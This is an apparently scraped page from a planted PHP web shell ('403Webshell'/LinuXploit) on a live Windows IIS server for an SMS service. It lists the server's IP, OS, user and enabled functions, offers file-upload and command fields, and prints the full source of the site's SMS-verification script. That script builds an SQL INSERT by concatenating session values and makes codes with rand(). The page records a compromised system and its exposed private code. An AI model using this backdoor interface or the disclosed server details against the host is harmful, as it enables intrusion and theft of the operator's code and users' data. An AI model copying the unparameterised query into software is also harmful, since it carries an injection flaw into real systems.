403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /HostingSpaces/admin/247sms.com/dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /HostingSpaces/admin/247sms.com/dashboard//vasverify.php
<?php
include "general2.php";
include "connect.php";
include 'sendmailclient.php';

function rand_string( $length ) {
		$chars = "0123456789";	
		
		$size = strlen( $chars );
		for( $i = 0; $i < $length; $i++ ) {
			$str .= $chars[ rand( 0, $size - 1 ) ];
		}
		
		return $str;
	}
	
	

//**************************
//**************************
// end of function


//$_SESSION['accounttype']="euro";
 
// if ($_SESSION['accounttype'] == "" ){
 
  //header('Location: register.php?err=1');
  // die();
// }


 //$username =$_POST["username"];   
 //echo $username ."<br>";
 //$pass =$_POST["password"];   
 //echo $pass."<br>";
 
 //$email =$_POST["email"];   
 //echo $email."<br>";
 //$phonenumber =$_POST["phone"];   
 //echo $phonenumber."<br>";
 
 //$address =$_POST["address"];   
 //echo $address."<br>";
//$fullname =$_POST["fullname"];   
 //echo $fullname."<br>";		      
//$birthday =$_POST["birthday"];   
 //echo $birthday."<br>";
 //$birthmonth =$_POST["birthmonth"];   
 //echo $birthmonth."<br>";
 //$birthyear =$_POST["birthyear"];   
 //echo $birthyear."<br>";
 //$state =$_POST["state"];   
 //echo $state."<br>";
 //$country =$_POST["country"];   
 //echo $country."<br>";
//$referrer =$_POST["referrer"];   
//$accounttype =$_POST["currency"];   
// echo $referrer."<br>";
 
 
 
 //********************
 
 


date_default_timezone_set('Europe/London'); 
 
if ( $_SESSION["check"]  ==""){
     header('Location: vas.php?err=3');
   die();
}

if ( $_SESSION["phone"] == ""){
     header('Location: vas.php?err=2');
   die();
}


if (strlen($_SESSION["phone"]) < 7){
     header('Location: vas.php?err=4');
   die();
}

$username = $_SESSION["username"];
//check if username already exists
$response =getUsernamevas($username,$domain);

if ($response=="yes")
{
     header('Location: vas.php?err=5');
   die();
}



//get smscode

$smscode =rand_string(6);

//send sms client

$transID= generateTransID();

$phonenumber = $_SESSION["phone"];
$mess ="Dear ". $username ." use the smscode:   ". $smscode . "   to continue your VAS service subscription";
$mtype ="1";

if ($sender == "247sms") 
    $sender =".247sms.com";
$response = sendSMS( $username,$phonenumber, $transID, $domain,$mess,$sender,$mtype);

if ($response =="0"){

$query ="INSERT INTO Enquiry (username,phonenumber, email,smscode,emailcode,domain, dateused)  VALUES ('". $username."','". $phonenumber ."','VAS','". $smscode . "','VAS','". $domain. "','". date('Y-m-d H:i:s')."')";
//echo @query;
if(!$result= mysqli_query($con,$query))
{
  //echo mysqli_error($con);
  
 header('Location: vas.php?err=7');
  mysqli_close($con);
  die();
}





  $_SESSION['emailcode'] =$emailcode;   
  $_SESSION['smscode'] =$smscode; 
  header('Location: vasfinal.php');
  die();
}
else
{
   header('Location: vas.php?err=6');
   die();
}


 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit